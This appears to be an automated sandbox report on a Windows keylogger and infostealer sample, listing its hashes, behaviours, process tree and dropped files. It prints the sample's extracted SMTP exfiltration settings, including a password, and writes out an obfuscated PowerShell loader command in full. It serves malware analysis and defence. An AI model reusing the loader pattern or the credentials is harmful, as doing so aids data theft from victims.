Analysis
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max time kernel
142s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
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submitted
18/02/2025, 14:17
General
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Target
046s01900330081250b4057885818022025.exe
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Size
616KB
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MD5
d22d9212a0c0f8f3d45689c1161da1b2
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SHA1
381e5444e3e5bfa0ecf3eafeaa4e02b15f0c370e
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SHA256
5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58
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SHA512
fdd7fccc65d4cb04b3999322c907708dea0615f1435ccce076a63a3ac4e50d950f5b1eab0758e72d0e702f04e6045093814ff5f4c573a4e3c9c58b208869aacd
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SSDEEP
12288:vg2VsqLvsk/6SqKDJk8d+WRtsK/5uJWev4XOqepjOEAGQjW:vg2V1L0kCItphleQXwFrfEW
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
596100Aa++++ - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 3 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\046s01900330081250b4057885818022025.exe"C:\Users\Admin\AppData\Local\Temp\046s01900330081250b4057885818022025.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Unepic=gc -Raw 'C:\Users\Admin\AppData\Local\Temp\siller\Pillowing\robotise\Oplagringers.Sti';$Kaffehandlerens=$Unepic.SubString(57847,3);.$Kaffehandlerens($Unepic)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
7KB
MD54c77a65bb121bb7f2910c1fa3cb38337
SHA194531e3c6255125c1a85653174737d275bc35838
SHA2565e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe
SHA512df50eadf312469c56996c67007d31b85d00e91a4f40355e786536fc0336ac9c2fd8ad9df6e65ab390cc6f031aca28c92212ea23cc40eb600b82a63be3b5b8c04
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Filesize
56KB
MD5172a2e725c31a9307f57fc521e7db52d
SHA198fc978b17e9cbd62f0895c78b73b71ef4fdbe6c
SHA2562d21ee452d6ec7e69fba3feb7ac2f84e221291e6759b262ab2153012bf0d9b73
SHA5125ebf7f94006c3f3dab1e7096c29793b10284507f9324a47926c3b06a1e083a1e011235a60e53a7744f344f0ffdb755db8ebfbe91f8ceb21aabbdc16f7496649d
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Filesize
336KB
MD5fe890c82e5685491bab49e83550fa915
SHA161831ece61578ce31a03278b0252b5c1be58e3f9
SHA256c2d934fc078b6cb0134dce1949776ef948e3ec2239e48bf6e503b0b9aa46190b
SHA512559a40ce2f7a515ecfb3d771ebfe399519f438603d58d51ed3594f36aa4b954bacda88c72092bc016e0b1b5c9f92581a0bc1eb6478f5e004ebec861a9e21bbb3
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Filesize
4KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
104KB
-
Filesize
5.6MB
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Filesize
6.5MB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
120KB
-
Filesize
200KB
-
Filesize
7.7MB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
168KB
-
Filesize
144KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
4KB
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Filesize
7.7MB
-
Filesize
86.3MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
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Filesize
18.3MB
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Filesize
288KB
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Filesize
624KB
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Filesize
18.3MB
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Filesize
1.8MB
-
Filesize
320KB
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Filesize
584KB
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Filesize
40KB